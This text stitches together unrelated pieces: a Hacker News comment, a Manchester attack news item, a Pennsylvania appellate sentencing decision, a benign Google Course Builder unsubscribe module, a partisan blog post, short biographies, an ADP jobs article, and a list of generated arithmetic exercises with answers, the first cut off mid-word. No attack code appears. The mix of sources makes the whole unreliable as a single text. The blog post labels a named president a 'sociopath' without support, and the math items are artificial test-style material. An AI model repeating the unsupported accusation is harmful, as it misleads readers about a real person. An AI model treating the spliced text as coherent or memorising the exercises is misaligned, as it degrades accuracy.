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IOS Prototyping - jkubicek
http://amattn.com/2011/11/16/amattn_on_ios_prototyping.html
======
chookrl
I think the best approach is plain old paper-pen storyboard.
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(Left) Chef Frank Lombardo from the Wachusett Village Inn mixes his chili for the People's Choice, Restaurant Division, International Chili Society. The chili in that competition could contain no beans, rice or macaroni, he said. Phylis Booth photos |
All suspects in the investigation into deadly Manchester terror attack were released by police without charge, head of the United Kingdom's North West Counter Terrorism Policing said in a statement Sunday, Sputnik reported.
"During the investigation, we have arrested 22 people in relation to suspected terrorism offenses. Two were quickly de-arrested at the place of their detention because we were satisfied that they were not involved. The remaining people have now been released without charge," detective chief superintendent Russ Jackson said in a statement published on Twitter of Greater Manchester Police.
Twenty individuals detained by police have been repeatedly interviewed and questioned on their links and contacts with the perpetrator of the attack Salman Abedi, the statement added.
Apart from the detentions, the UK authorities have conducted 29 house searches, seized around 700 media devices and uncovered a number of suspicious purchases by individuals of materials that can be used to make explosives, the document noted.
"This is one of the largest investigations Greater Manchester Police has ever conducted," Jackson stressed.
On May 22, an explosion occurred at Manchester Arena at the end of a concert of US singer Ariana Grande killing at least 22 people and injuring more than 200 others. Daesh reportedly claimed responsibility for the attack.
As police were investigating into the terror network behind Abedi, his father and two brothers were among those detained in the probe. |
J. S26028/17
NON-PRECEDENTIAL DECISION - SEE SUPERIOR COURT I.O.P. 65.37
COMMONWEALTH OF PENNSYLVANIA : IN THE SUPERIOR COURT OF
: PENNSYLVANIA
:
v. :
:
HASSAN BURGESS FOLKES, :
:
APPELLANT :
: No. 1237 MDA 2016
Appeal from the Judgment of Sentence June 27, 2016
In the Court of Common Pleas of Lancaster County
Criminal Division at No(s): CP-36-CR-0001156-2015
CP-36-CR-0005789-2014
BEFORE: BOWES, J., DUBOW, J., and FITZGERALD, J.*
MEMORANDUM BY DUBOW, J.: FILED MAY 04, 2017
Appellant, Hassan Burgess Folkes, appeals from the Judgment of
Sentence of 2 to 5 years’ incarceration imposed following the revocation of
his probation. After careful review, we affirm.
The relevant facts and procedural history, as gleaned from the
Certified Record, are as follows. On May 22, 2015, Appellant entered a
guilty plea to Possession with Intent to Deliver and Possession of a
Controlled Substance (Heroin)1 at each of two criminal docket numbers.
Pursuant to a negotiated plea agreement, the court sentenced Appellant to
*
Former Justice specially assigned to the Superior Court.
1
35 P.S. § 7800-113(a)(30) and 35 P.S. § 780-113(a)(16), respectively.
J. S26028/17
two concurrent sentences of time-served to 23 months’ incarceration,
followed by 2 years’ probation.
On August 4, 2015, Appellant failed to report to a scheduled probation
appointment. In investigating Appellant’s failure to report, the probation
department learned that Appellant had provided false addresses.
Accordingly, the court issued a bench warrant for Appellant’s arrest on
August 7, 2015.
Police arrested Appellant on March 16, 2016. On April 18, 2016,
Appellant appeared before the trial court for a parole violation hearing, at
which he admitted to violating his parole, and represented to the court that
he had voluntarily surrendered to police.
Following his parole violation hearing, the court found Appellant in
violation of his supervision, ordered a Presentence Investigation (“PSI”)
Report, and directed that Parole Services verify whether Appellant had, in
fact, voluntarily turned himself in.
On June 27, 2016, the court held Appellant’s sentencing hearing. At
the hearing, the Commonwealth informed the court that Appellant had not
voluntarily surrendered to police; rather, that the Susquehanna Regional
Police Department had arrested him seven months after he had disappeared,
after finding him sleeping in an illegally-occupied apartment.
In addition, the PSI report revealed that in the 15 years prior to his
original plea on these charges, Appellant had been convicted of charges
-2-
J. S26028/17
relating to the sale of illegal drugs, as well as theft crimes, resisting arrest,
and simple assault. Over the years, Appellant had been convicted of at least
25 felonies and misdemeanors.
Following the hearing, the court sentenced Appellant to 2 to 5 years’
incarceration with time-served credit from March 4, 2016 until the date of
sentencing.
On July 7, 2016, Appellant filed a Post-Sentence Motion, in which he
argued that his sentence was excessive for a first technical violation of
parole and that the court failed to consider mitigating circumstances in
sentencing him. The trial court denied Appellant’s Motion on July 11, 2016.
Appellant filed a timely appeal. Both Appellant and the trial court
complied with Pa.R.A.P. 1925.
Appellant raises the following issue on appeal:
Was the trial court’s sentence of two (2) to five (5) years
of incarceration manifestly excessive under the
circumstances so as to constitute an abuse of discretion.
Appellant’s Brief at 5.
“Generally, in reviewing an appeal from a judgment of sentence
imposed after the revocation of probation, this Court’s scope of review
includes the validity of the hearing, the legality of the final sentence, and if
properly raised, the discretionary aspects of the appellant’s sentence.”
Commonwealth v. Kuykendall, 2 A.3d 559, 563 (Pa. Super. 2010) (citing
Commonwealth v. Ferguson, 893 A.2d 735, 737 (Pa. Super. 2006)).
-3-
J. S26028/17
Appellant claims on appeal that his revocation sentence is excessive
because the trial court failed to consider his turbulent upbringing, the gravity
of his first-time, technical parole violation, and his rehabilitative needs
before sentencing him. Appellant’s Brief at 16-15. He also alleges that his
revocation sentence exceeded his original sentence of two concurrent terms
of time served to 23 months’ incarceration, followed by 2 years’ probation.
Id. at 19. These issues implicate the discretionary aspects of Appellant’s
sentence. Commonwealth v. Cartrette, 83 A.3d 1030 (Pa. Super. 2013)
(en banc).
“Where an appellant challenges the discretionary aspects of a
sentence, there is no automatic right to appeal, and and appellant's appeal
should be considered a petition for allowance of appeal.” Commonwealth
v. W.H.M., 932 A.2d 155, 163 (Pa. Super. 2007). As we observed in
Commonwealth v. Moury, 992 A.2d 162 (Pa. Super. 2010):
An appellant challenging the discretionary aspects of
his sentence must invoke this Court's jurisdiction by
satisfying a four-part test:
[W]e conduct a four-part analysis to determine: (1)
whether appellant has filed a timely notice of appeal,
see Pa.R.A.P. 902 and 903; (2) whether the issue
was properly preserved at sentencing or in a motion
to reconsider and modify sentence, see Pa.R.Crim.P.
[720]; (3) whether appellant's brief has a fatal
defect, Pa.R.A.P. 2119(f); and (4) whether there is a
substantial question that the sentence appealed from
is not appropriate under the Sentencing Code, 42
Pa.C.S.A. § 9781(b).
-4-
J. S26028/17
Id. at 170 (citing Commonwealth v. Evans, 901 A.2d 528, 533 (Pa.
Super. 2006)).
In the instant case, Appellant filed a timely Notice of Appeal, and
timely Post-Sentence Motion. He also included a separate Pa.R.A.P. 2119(f)
statement in his appellate brief. As to whether Appellant has presented a
substantial question, we must examine the specific sentencing issue raised
by Appellant.
In his Pa.R.A.P. 2119(f) Statement, Appellant alleges that his sentence
is manifestly excessive because his probation violations were merely
technical and the court failed to consider mitigating factors. Appellant’s Brief
at 10-11. He also alleges that his revocation sentence is excessive because
it exceeds his original aggregate sentence of time-served to 23 months’ with
a consecutive two-year term of probation. Id. at 12. He concludes,
therefore, that he has raised a substantial question as to the
appropriateness of his sentence under 42 Pa.C.S. §§ 9721 and 9781(c)(2).
Id.
We disagree with Appellant that his allegation that the court failed to
consider mitigating factors when resentencing him raises a substantial
question. See Commonwealth v. Matroni, 923 A.2d 444, 445 (Pa. Super.
2007) (“[T]his Court has held on numerous occasions that a claim of
inadequate consideration of mitigating factors does not raise a substantial
question for our review.” (quotation and citation omitted)). However, we
-5-
J. S26028/17
find that his claim that his revocation sentence, which was in excess of his
original sentence, does present a substantial question. See
Commonwealth v. Sierra, 752 A.2d 910, 913 (Pa. Super. 2000) (finding a
substantial question exists when “a sentence of total confinement, in excess
of the original sentence, is imposed as a result of a technical violation of
parole or probation[]”).
Having determined that Appellant has raised a substantial question for
review, we turn to the merits of his claim.
“In reviewing a challenge to the discretionary aspects of sentencing,
we evaluate the court’s decision under an abuse of discretion standard.”
Commonwealth v. Dodge, 77 A.3d 1263, 1274 (Pa. Super. 2013) (citation
and quotation omitted). Additionally, this Court’s review of the discretionary
aspects of a sentence is confined by the statutory mandates of 42 Pa.C.S. §
9781(c) and (d).” Id. Section 9781(c) reads:
(c) Determination on appeal.—The appellate court shall
vacate the sentence and remand the case to the
sentencing court with instructions if it finds:
(1) the sentencing court purported to sentence
within the sentencing guidelines but applied the
guidelines erroneously;
(2) the sentencing court sentenced within the
sentencing guidelines but the case involves
circumstances where the application of the guidelines
would be clearly unreasonable; or
(3) the sentencing court sentenced outside the
sentencing guidelines and the sentence is
unreasonable.
-6-
J. S26028/17
In all other cases the appellate court shall affirm the
sentence imposed by the sentencing court.
42 Pa.C.S. § 9781(c).
In reviewing the record, we consider:
(1) The nature and circumstances of the offense and the
history and characteristics of the defendant.
(2) The opportunity of the sentencing court to observe the
defendant, including any presentence investigation.
(3) The findings upon which the sentence was based.
(4) The guidelines promulgated by the commission.
42 Pa.C.S. § 9781(d).
We review a claim that a revocation sentence is excessive with the
following in mind:
The imposition of a sentence following the revocation of
probation is vested within the sound discretion of the trial
court, which, absent an abuse of that discretion, will not be
disturbed on appeal. An abuse of discretion is more than
an error in judgment—a sentencing court has not abused
its discretion unless the record discloses that the judgment
exercised was manifestly unreasonable, or the result of
partiality, prejudice, bias or ill-will.
Commonwealth v. Colon, 102 A.3d 1033, 1043 (Pa. Super. 2014) (citation
omitted). When imposing a sentence of incarceration after revocation of
probation, the sentencing court “is limited only by the maximum sentence
that it could have imposed originally at the time of the probationary
sentence.” Id. at 1044.
-7-
J. S26028/17
“Our Supreme Court has determined that where the trial court is
informed by a pre-sentence report, it is presumed that the court is aware of
all appropriate sentencing factors and considerations, and that where the
court has been so informed, its discretion should not be disturbed.”
Commonwealth v. Ventura, 975 A.2d 1128, 1135 (Pa. Super. 2009)
(citing Commonwealth v. Devers, 546 A.2d 12, 18–19 (Pa. 1988)).
Appellant essentially argues that the trial court abused its discretion in
sentencing him to 2 to 5 years’ incarceration for a first-time, technical parole
violation, when it originally sentenced him to two concurrent terms of time-
served to 23 months’ incarceration, and 2 years’ probation. Appellant’s Brief
at 19. Appellant claims that he complied with the rules and regulations of
his parole, reported for his weekly appointments, and submitted to drug
testing. Id. He avers that he demonstrated a potential for rehabilitation
and compliance with court orders. Id. at 20-21. Therefore, he asserts that
the court’s revocation sentence was excessive and should be vacated. Id. at
21.
After a thorough review of the record, Appellant’s Brief, the applicable
law, and the comprehensive and well-reasoned Opinion of the trial court, we
conclude there is no merit to Appellant’s issue on appeal. Accordingly, we
affirm on the basis of the trial court’s Opinion. See Trial Ct. Op., 10/18/16,
at 5-7. The parties are instructed to attach the October 18, 2016 Opinion to
any future filings.
-8-
J. S26028/17
Judgment of Sentence affirmed.
Judgment Entered.
Joseph D. Seletyn, Esq.
Prothonotary
Date: 5/4/2017
-9-
Circulated 04/10/2017 12:04 PM
|
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|
# Copyright 2014 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Module to support users unsubscribing from notifications."""
__author__ = 'John Orr (jorr@google.com)'
import os
import urllib
import urlparse
import appengine_config
from common import crypto
from common import users
from controllers import utils
from models import custom_modules
from models import data_removal
from models import entities
from models import services
from google.appengine.ext import db
TEMPLATES_DIR = os.path.join(
appengine_config.BUNDLE_ROOT, 'modules', 'unsubscribe', 'templates')
def get_unsubscribe_url(handler, email):
"""Create an individualized unsubscribe link for a user.
Args:
handler: controllers.utils.ApplicationHandler. The current request
handler.
email: string. The email address of the users for whom the unsubscribe
link is being generated.
Returns:
string. A URL for the users to unsubscribe from notifications.
"""
abs_url = urlparse.urljoin(
handler.get_base_href(handler), UnsubscribeHandler.URL[1:])
query = urllib.urlencode({
'email': email,
's': _get_signature(handler, email)})
return '%s?%s' % (abs_url, query)
def get_resubscribe_url(handler, email):
"""Create an individualized resubscribe link for a user.
Args:
handler: controllers.utils.ApplicationHandler. The current request
handler.
email: string. The email address of the users for whom the resubscribe
link is being generated.
Returns:
string. A URL for the users to resubscribe to notifications.
"""
abs_url = urlparse.urljoin(
handler.get_base_href(handler), UnsubscribeHandler.URL[1:])
query = urllib.urlencode({
'email': email,
's': _get_signature(handler, email),
'action': UnsubscribeHandler.RESUBSCRIBE_ACTION})
return '%s?%s' % (abs_url, query)
def has_unsubscribed(email):
"""Check whether the user has requested to be unsubscribed.
Args:
email: string. The email address of the user.
Returns:
bool. True if the user has requested to be unsubscribed.
"""
model = SubscriptionStateEntity.get_by_key_name(email)
return (model is not None) and not model.is_subscribed
def set_subscribed(email, is_subscribed):
"""Set the state of a given user.
Args:
email: string. The email address of the user.
is_subscribed: bool. The state to set. True means that the user is
subscribed and should continue to receive emails; False means that
they should not.
Returns:
None.
"""
model = SubscriptionStateEntity.get_by_key_name(email)
if model is None:
model = SubscriptionStateEntity(key_name=email)
model.is_subscribed = is_subscribed
model.put()
class UnsubscribeHandler(utils.BaseHandler):
"""Receive an unsubscribe request and process it."""
URL = '/modules/unsubscribe'
RESUBSCRIBE_ACTION = 'resubscribe'
def get(self):
email = self.request.get('email')
if email:
signature = self.request.get('s')
if signature != _get_signature(self, email):
self.error(401)
return
else:
# If no email and signature is provided, unsubscribe will prompt
# for login. NOTE: This is only intended to support access by users
# who are known to have already registered with Course Builder. In
# general subscription management should use the encoded email and
# signature as this places the minimum burden on the user when
# unsubscribing (ie no need for Google account, no need for login).
user = self.get_user()
if user is None:
self.redirect(users.create_login_url(self.request.uri))
return
email = user.email()
action = self.request.get('action')
if action == self.RESUBSCRIBE_ACTION:
set_subscribed(email, True)
template_file = 'resubscribe.html'
else:
set_subscribed(email, False)
template_file = 'unsubscribe.html'
self.template_value[
'resubscribe_url'] = get_resubscribe_url(self, email)
self.template_value['navbar'] = {}
self.template_value['email'] = email
# Suppress use of Google Analytics on sub/unsub pages; URL may
# contain unencrypted user email. We want to prevent GA from
# indadvertently collecting personally identifiable information
# as part of its usual trawling through URL parameters.
self.template_value['suppress_analytics'] = 'True'
template = self.get_template(template_file, [TEMPLATES_DIR])
self.response.out.write(template.render(self.template_value))
def _get_signature(handler, email):
return crypto.EncryptionManager.hmac(
[email, handler.app_context.get_namespace_name()]).encode('hex')
class SubscriptionStateEntity(entities.BaseEntity):
"""Entity which holds the subscription state of a user.
This entity must be given a key_name equal to the email address of the user
whose subscription state is being set.
"""
is_subscribed = db.BooleanProperty(indexed=False)
def __init__(self, *args, **kwargs):
if 'key' not in kwargs and 'key_name' not in kwargs:
raise db.BadValueError('key_name must be email address')
super(SubscriptionStateEntity, self).__init__(*args, **kwargs)
@classmethod
def safe_key(cls, db_key, transform_fn):
return db.Key.from_path(cls.kind(), transform_fn(db_key.name()))
@classmethod
def delete_by_email_if_subscribed(cls, email_address):
entity = cls.get_by_key_name(email_address)
if entity and entity.is_subscribed:
entity.delete()
custom_module = None
def register_module():
"""Registers this module in the registry."""
namespaced_routes = [
(UnsubscribeHandler.URL, UnsubscribeHandler)]
def notify_module_enabled():
data_removal.Registry.register_indexed_by_email_remover(
SubscriptionStateEntity.delete_by_email_if_subscribed)
global custom_module # pylint: disable=global-statement
custom_module = custom_modules.Module(
'Unsubscribe Module',
'A module to enable unsubscription from emails.',
[], namespaced_routes, notify_module_enabled=notify_module_enabled)
class Service(services.Unsubscribe):
def enabled(self):
return custom_module.enabled
def get_unsubscribe_url(self, handler, email):
return get_unsubscribe_url(handler, email)
def has_unsubscribed(self, email):
return has_unsubscribed(email)
def set_subscribed(self, email, is_subscribed):
return set_subscribed(email, is_subscribed)
services.unsubscribe = Service()
return custom_module
|
Our President is a Sociopath
Senator Barack Obama said: “The fact that we are here today to debate raising America’s debt limit is a sign of leadership failure. America has a debt problem and a failure of leadership. Americans deserve better. I, therefore, intend to oppose the effort to increase America’s debt.”
What decisive leadership Obama took back when he needed to look like he gave a crap about our country! What character Obama had in opposing a debt he had no intention of ever reducing once he ascended to god status! How lovely Obama’s conservative rhetoric was when he needed to appear like less of a megalomaniac, and more like a caring leader!
The entirety of the recent debt fight can be reduced to one moment in Obama’s career. I’m not a fan of needless complexity. I believe that life is just an accumulation of small moments which only need to be examined individually to be understood properly. Democrats love complexity, however. They live on it because it better disguises their lies and sleight of hand.
Democrats love to blather about how nuance is key and that nothing is black and white. That’s far from reality. Reality may be black, white, and gray, but all three colors are clearly separated. Everything can be traced back to a beginning. And the beginning—in this particular instance—is the above quote from our Liar in Chief. Obama once claimed that raising the debt ceiling was a sign of leadership failure, a sign of our debt problem. $7 trillion dollars, and a socialized healthcare system later, Obama was begging for an increase so that America would not become a dead beat society (which was not true, because we could have easily continued to pay our debt). What changed?
What changed were Obama’s priorities. Back then, he was a Senator with Presidential ambitions, now, he’s a President who wants to squeeze every ounce of power he can out of his position. This simple quote betrays Obama’s identity as an opportunist. But what does that mean? An opportunist has no qualms with throwing morality aside to get what he wants. That being said, an opportunist has sociopathic tendencies that cannot be ignored. Opportunists show a scary lack of empathy that—if witnessed in any normal person—would send chills down the spines of their friends and family. But since he’s the President, it doesn’t seem to matter. Through the rosy lens of the mainstream media, Obama seems compassionate and scrupulous.
But those of us who can read know better. We know that he lied about his opinion of the debt, and we know that he has lied about a good many things. We have a commander who is a sociopath, plain and simple. And one thing a sociopath does well is look out for himself. You better believe that any policy implemented by Barack Obama only serves to better his own lot, often at the expense of the American people.
Don’t believe anything he says. I know you readers don’t. But we must get the word out to those who have been scrubbed by the media, even now, in his fifth year. They have to see the true face that sits behind the mask of the urbane, dedicated, compassionate President Barack Obama. I’m afraid for our future if history is Obama’s friend. |
Iwar von Lücken
Iwar von Lücken (January 19, 1874 in Wiesbaden, Germany - 1935 (exact date unknown), Paris, France) was a German poet and part of the avant garde art scene in Leipzig and Berlin of the Inter-War period. He was a subject of several paintings by Otto Dix and Oskar Kokoschka, the main reason he is known at all today. Though he made an impression on those who met him and is mentioned in various period biographies, the details of his life and death are not well known and his one slim book of poems has received little recognition in his life or thereafter.
Family
Iwar and his sister were the only children of Rudolf Karl Louis Adolf von Lücken who died in Dresden in 1923. For this particular branch of the family - ancient Mecklenburg nobility going back to the 13th century - the line ends with Iwar. The absence of any details in the entry of Genealogisches Handbuch des Adels regarding his education, war service and occupation might lead one to suspect a "black sheep". Not much is known about his childhood, upbringing,and education.
Later life
Any information about Lücken's life during the 20s and 30s is fragmented and difficult to come by. He appeared to sustain himself on the diet of "nothing but art and literature", with the death of his father in Dresden in 1923 having no effect on his material circumstances given the family's attitude towards his lifestyle. Lücken was appreciated by no more than about a dozen discerning people in Vienna, Dresden, and Berlin. It seems reasonable to assume that at some stage he was staying in either of the two capitals. The writer Peter de Mendelssohn recalls that he once encountered Lücken sitting in the corner of a "Künstlerkneipe" in Berlin, some time between 1927 and 1929 - he had no money apart from a few small coins which he had obtained by begging and kept in a cigarette box. It seems that he left Berlin for Paris in 1933 when the Nazis came to power. His last letter is written from Paris in May 1935, and mentions an ambition to take a part in a sail to Greece via Italy. It also mentions recent serious illness, and to judge by the deterioration in the handwriting it is even doubtful whether he would have been fit enough to travel.
The exact circumstances of his death and the whereabouts of his grave are not known.
Description by Hoffmann
A description of Iwar von Lücken in the book by Edith Hoffmann on Kokoschka reads: "Iwar von Lücken was a Baltic aristocrat disowned by his family because he preached - and practised - Tolstoian principles; a poet and a man of great knowledge, whom poverty reduced to a Don Quixote-like appearance; while all the others cultivated a conscious dissimilarity from other people but were in fact comfortably connected with the bourgeois world which provided for their needs, Lücken, with his unworldliness, his extreme modesty, his love for children, his classical quotations, his old-fashioned politeness, his weakness for the bottle and his disreputable suits, was probably the last real Bohemian".
Works
It does not seem that von Lücken's literary output was very great, although according to people who knew him, much of what he did write, including dramas and essays, he destroyed.
An edition of poems (Gedichte) by Iwar von Lücken was published in Berlin in 1928, it contained twenty-nine poems, most no longer than twenty lines, a number of which had already been previously published in literary magazines. Of this slim volume only two copies survived (both are in the libraries of Berlin).
Influences
The influence of Hölderlin is marked throughout Lücken's poetry: he has a predilection for such unrevolutionary subjects as innocence and experience, creativity, joy and pain, joy through suffering, life in Nature, life in feeling. There is no hatred or bitterness, little violence, and much positive delight is what is most natural, spontaneous, and most vibrantly alive.
References
Gaskill, P.H. "Edwin Muir's Friend in Hellerau:Iwar von Lücken", in German Life and Letters, Volume 32, Issue 2, January 1979, pp. 135–147
External links
EDWIN MUIR'S FRIEND IN HELLERAU: IWAR VON LÜCKEN - Gaskill - 2007 - German Life and Letters - Wiley Online Library
Category:1874 births
Category:1935 deaths
Category:German poets
Category:German male poets
Category:German-language poets |
Audra Keller
Audra Keller (born November 17, 1971 in Macon, Georgia) is a retired American professional tennis player who competed on the WTA Tour from 1988 to 1996. In 1991, she was runner-up to Katerina Maleeva at the Virginia Slims of Indianapolis, falling 7–6, 6–2 in the finals. She achieved a career-best ranking of #77 in August 1992
External links
Category:1971 births
Category:American female tennis players
Category:Living people
Category:Tennis people from Georgia (U.S. state) |
ADP: Businesses added 177,000 jobs in June
Paul Davidson | USA TODAY
Show Caption Hide Caption Trump hails new U.S. jobs numbers President Donald Trump described newly released unemployment numbers as "yet one more historic milestone." U.S. employers extended a streak of solid hiring in May, adding 223,000 jobs and lowered the unemployment rate to 3.8 percent.
Job growth has been surprisingly healthy this year despite worsening worker shortages, and that trend may have continued in June.
Payroll processor ADP said Thursday businesses added 177,000 jobs in June, possibly signaling another sturdy employment increase in the government’s closely watched jobs report Friday.
Economists surveyed by Bloomberg expected ADP to count 190,000 new jobs in the private sector. They estimate the Labor Department on Friday will report 195,000 payroll gains in the public and private sectors.
Monthly employment increased 223,000 in May, and gains have averaged a robust 207,000 for the first five months of 2018, according to Labor’s figures. That’s well above economists’ forecasts considering the 3.8 percent unemployment rate, an 18-year low, is making it tough for firms to find workers.
“Businesses’ No. 1 problem is finding qualified workers," said Mark Zandi, chief economist of Moody’s Analytics, which helps ADP compile the report. “At the current pace of job growth, if sustained, this problem is set to get much worse. These labor shortages will only intensify across all industries and company sizes.”
More: Trump tariffs could add $5,000 to price of new vehicle in U.S.
More: Fourth of July holiday gas prices hit 4-year high
More: Bullish Republicans are spending more than Democrats under Trump
Industries that are hiring
Education and health care led the job gains with 46,000. Professional and business services, and leisure and hospitality each added 33,000 jobs; and trade, transportation and utilities, 24,000. Construction, which is struggling to respond to low housing supplies amid severe worker shortages, added 13,000 jobs. Manufacturers added 12,000.
Small-business hiring slows
Small businesses added 29,000 jobs; midsize companies, 80,000; and large ones, 69,000.
Small businesses have to compete with larger companies that typically offer better pay and benefits, and they’ve struggled to do so as the labor market continues to tighten.
What it means
ADP tries to predict Labor’s private-sector job gains and generally tracks similar trends but often varies from it significantly. In May, ADP reported 178,000 private-sector employment gains while Labor tallied 218,000.
Still, Ian Shepherdson, chief economist of Pantheon Macroeconomics, says the modestly disappointing ADP count has prompted him to lower his estimate for Friday’s jobs report to 170,000 from 200,000.
With the unemployment rate at 3.8 percent and likely to fall further this year, most economists expect job growth to slow. There's strong demand among employers for workers, indicating a healthy economy. There just aren't enough of them. |
e the smallest common multiple of 7 and m.
126
What is the least common multiple of (-16)/(-4) + -5 + (-1 - -408) and 6?
1218
Let g(l) = -l**2 + 16*l - 9. Calculate the least common multiple of ((-6)/(-1))/(2/9) and g(15).
54
Let f be 36/(-5) + -3 + 1/5. Let i = -18 - f. Calculate the common denominator of -37/6 and i.
6
Let q = -6 + 8. Let m = 12 + -5. Suppose -14 = -m*f + 5*f. Calculate the lowest common multiple of f and q.
14
Let o = 13624 - 28419/2. Let h = o - -539. Calculate the common denominator of h and (-4)/(-10) - 192/5.
2
Let k = -197/8 + 2007/88. Let u(g) = 2*g**2 - 3*g - 2. Let x be u(3). Calculate the common denominator of 12/x - (2 + 1) and k.
77
Suppose 0 = 25*m + m - 2340. What is the smallest common multiple of m and 300?
900
Suppose -2*z - z + 75 = -4*x, 2*z = -3*x - 52. Let d be (x/(-880))/(1/(-4806)). Let i = d + 1050/11. What is the common denominator of -5/4 and i?
20
Suppose 0 = -3*p + 110 - 44. Let b be 6*(-4)/(-12) - 24. Let o = b + 28. Calculate the smallest common multiple of p and o.
66
Let f(q) = -3*q - 5. Suppose -u - 4*u = 5*o + 215, -5*u + o - 209 = 0. Let b = 48 + u. What is the lowest common multiple of b and f(-9)?
66
Let q = 47/70 + 1947/280. Suppose -7*y - 190 = -2*y - 5*t, 0 = 3*t + 12. Calculate the common denominator of q and (3/y)/((-6)/959).
24
Let x be (2/4)/(((-63)/(-120904))/(-9)). Let g = -215932/25 - x. Calculate the common denominator of g and -21.
25
Let t be 635 - (-7)/(14/(-10)). Calculate the common denominator of (-1)/2 + -5*(-205)/t and -95/6.
126
Suppose 60 = -163*p + 169*p. Suppose 2*b + 6 = 2*z, 0 = 2*z - z + 5*b - 9. Calculate the least common multiple of p and z.
20
Let j = -4/56753 - 144322843/510777. Let p = -280 - j. Find the common denominator of ((-2)/(-8))/(2/(-244)) and p.
18
Suppose 10*v - 156 = 104. Calculate the least common multiple of 65 and v.
130
Suppose 77*r - 9 = 74*r. Suppose -5*w + 18 = -3*w. Calculate the lowest common multiple of w and r.
9
Let p = -70697/78 + 11460/13. Let b = 127466843/397 - 321075. Let l = 30205/7146 - b. Calculate the common denominator of p and l.
18
Let h = 2/11957 - -191298/83699. What is the common denominator of -2 - 15/(-39)*-1 and h?
91
Let q(r) = -r**2 - 6*r + 2. Let z be q(-4). Suppose -2*b = -7*b + z. Suppose b = -2*u + 4*u. What is the lowest common multiple of 2 and u?
2
Let h = 3763067785250795 - 1969920828768517258489/523488. Let z = -53/174496 + h. Let l = z - -6021. Calculate the common denominator of l and -101/8.
24
Calculate the common denominator of (-74)/30 + -1 + 0 and 1116/(-81)*(20/240 - 2/8).
135
What is the common denominator of -113/702 and (12/(-18))/(132/(-387))?
7722
Let j = 28517503/144 - 198039. What is the common denominator of j and 59/14?
1008
Let m = -35233/8 - -4394. Find the common denominator of 36/19 and m.
152
Let g = -8 + 12. Suppose g*r - 48 = 2*r. Calculate the common denominator of 45/7 and (r/(-20))/((-7)/(-5)).
7
Let z(y) = 7*y - 1. Suppose 4*w = -4, -4*o - o - 20 = 5*w. Let d be z(o). What is the common denominator of 48/5 and (-178)/132 + (-4)/d?
30
Suppose -4645 - 605 = -21*p. Calculate the lowest common multiple of 1 and p.
250
Let q = -844/1743 + 29/166. What is the common denominator of q and 49/60?
420
Let b = 8387/760 - 51/152. Let x = b - -17/10. What is the common denominator of -51/4 and x?
20
Let x(o) be the first derivative of -o**3/3 + 5*o**2/2 + o - 13. Let n(z) = -z**3 + 3*z**2 + 2*z + 2. What is the smallest common multiple of x(3) and n(3)?
56
Find the common denominator of (754/150 - 5)*171/18 and -62/285.
1425
Let h(d) = -6*d + 1. Let a = 775 + -119. Let y = 5267/8 - a. What is the common denominator of y and h(-1)?
8
Let a(v) = -v**2 + 3*v + 2. Let r be a(4). What is the common denominator of 2 + r - 237/(-24) and 63/2?
8
Let h(g) = -12*g**3 - 5*g**2 + 7*g - 1. Let j be h(-7). Let d = j - 30493/8. Calculate the common denominator of 306/28 + (-9)/3 and d.
56
Let b(g) = -10*g + 14. Let l(r) = 9*r - 14. Let j(m) = 5*b(m) + 6*l(m). Calculate the smallest common multiple of 16 and j(4).
16
Suppose 3*p - 2*p - 3 = 0. Let y be (2 - (6 - p))*1. Calculate the common denominator of (-67)/(4 - (-1 + y)) and -79/22.
66
Let r = 1761775/2082 - 28/1041. Let z = 30343/36 - r. Find the common denominator of 9 and z.
36
Let q(t) = -3*t - 15. Let s be q(0). What is the smallest common multiple of 9 and (-24)/(-40) + (-126)/s?
9
Let j = -6 - -6. Suppose 3*b - 12 = j, c - 3*b = 2*c - 14. Calculate the lowest common multiple of c and 18.
18
Suppose -2*i + 64 + 14 = 0. Let x = -3253491/109 - -29849. Let b = 5446/1417 - x. Find the common denominator of b and i.
13
Let t = 1283/5 + -248. Calculate the common denominator of t and -23/57.
285
Find the common denominator of (-3)/(-15)*(1288/32 + -10) and 33/50.
100
Suppose 0 = -5*f + 6*f - 2. Suppose 0*h = 4*h + 5*v, 0 = 2*h + 2*v - f. Suppose -11 = -4*m + h*m. Calculate the common denominator of 73/6 and m.
6
Let q = -496425/22 - -22561. Find the common denominator of -1 + 0 + (-274)/24 and q.
132
Let u be ((-28)/42)/((-1)/(-3)). Let n be (u/5)/((-1)/(-120)). Find the common denominator of (-22)/(-33) - 193/n and 43/14.
112
Let s be (-36510)/(-8)*(-12)/110. Let n = s + 498. Find the common denominator of n and 79/6.
66
Suppose -12*n + 14*n = -152. Let v = n - -92. What is the least common multiple of 16 and v?
16
What is the common denominator of -101/32 and 590/(-12)*(-4 - 259/(-70))?
32
Calculate the common denominator of -31/236 and (-2145)/176 - -9 - (1 + -1).
944
Find the common denominator of 49/143 and 705/(-108)*46/(-65) - 5.
2574
Let j be (7/(70/(-563)))/(48/23770). Let g = j - -27878. Find the common denominator of g and -1/20.
240
Let l = 406387/36 + -11287. Calculate the common denominator of l and 87/44.
396
Suppose 66 = z + 2*y, -z + 3*y + 38 = -2*y. Suppose f = 2*x - 126, 5*f = 3*x - 138 - z. What is the least common multiple of 3 and x?
186
Suppose -6*d + 6 = -5*d. What is the smallest common multiple of 18 and d?
18
Suppose -11 = -5*i - 1. Let y(v) = 3*v. Let d(a) = 4*a - 1. Let x be d(1). What is the smallest common multiple of y(x) and i?
18
Let j = -48 + 42. Calculate the lowest common multiple of 3/(j/8) - (-150)/15 and 33.
66
Let p be -1*3 + (-4328)/(-1446). Let b = 9851/4338 - p. Find the common denominator of b and -101/2.
18
Suppose -7*o = -7 - 0. Let u be (-20)/(-10) - (-1 + o). Suppose -u*b + 250 = 3*b. Find the common denominator of b and 1/9.
9
Suppose -2*m + 1530 = -k + 196, 5*m = 4*k + 3341. Let j = -7354/11 + m. Find the common denominator of 40/3 and j.
33
Suppose -7*l = -6*l + 3*a - 341, 5*l - 5*a - 1725 = 0. What is the lowest common multiple of l and 72?
3096
Let z = 180/17 + 1051/34. Let b = -9645 + 96553/10. What is the common denominator of z and b?
10
